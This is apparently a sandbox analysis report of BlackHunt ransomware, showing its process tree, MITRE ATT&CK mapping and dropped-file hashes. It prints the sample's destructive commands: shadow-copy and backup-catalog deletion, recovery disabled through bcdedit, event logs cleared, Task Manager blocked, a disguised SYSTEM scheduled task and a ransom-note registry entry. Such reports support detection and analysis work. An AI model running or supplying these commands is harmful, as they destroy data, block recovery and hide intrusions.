  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe" /F
  2⤵
  PID:2452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2908
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:844
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1732
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2528
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:564
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2440
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2176
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2040
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1324
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2168
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1636
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1844
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:608
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1068
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2592
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1544
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2320
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2116
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2616
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:688
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1744
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe"
  2⤵
  - Deletes itself
  PID:1748
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2112

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2920

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1668

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
a36002edfc6fc4444da233ee0b9e4589

SHA1
958eb95579d1678fe4f8b6ff14b3db65b74a16dc

SHA256
c957eb4d9cf95c78e25f2f0912d02c45916eeb08d8783888e4acb42e16fad572

SHA512
64f1b15fab19ac19f0ff35173d96d413f0a9fe9c07e2d83e21b66a00c314c8d08de3a6773a2c96c7328314b4856b2fdb483a044ba8f3ce25598ace730062d96e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
ca340fae04f684060b22f85db969e717

SHA1
ccf8b6468645e13c0bc234be1fb49c15cb4b2f27

SHA256
bc83ee6ec2be03da839c9c2c4e5426d97768d24ee3a25a72958eafabc26259b4

SHA512
5f5c6299ce4605121c6c33319360ade1bf401aabfb20ff12cef5c18cd3ade179241d4e1ef0db7f634101ea904f741272ccc541e6b1237bc7144666ad04536273

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
49497d4aefa3c447e12ae3204297f281

SHA1
999670186e38f22c91618e3e3c4579f52c03fa76

SHA256
284fc5fd6bc29a27865ced0d68addb6477a04f58cbc83ad097c43484f5c41640

SHA512
088e3bc79bbc3eed1a8a336e0820285d99465a6499cdd0c4a5bff868a75b09ecedbfa6900d59a8604b3a81edd9d97d22b51b72e8ed6a97d9105d0186e7204255

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads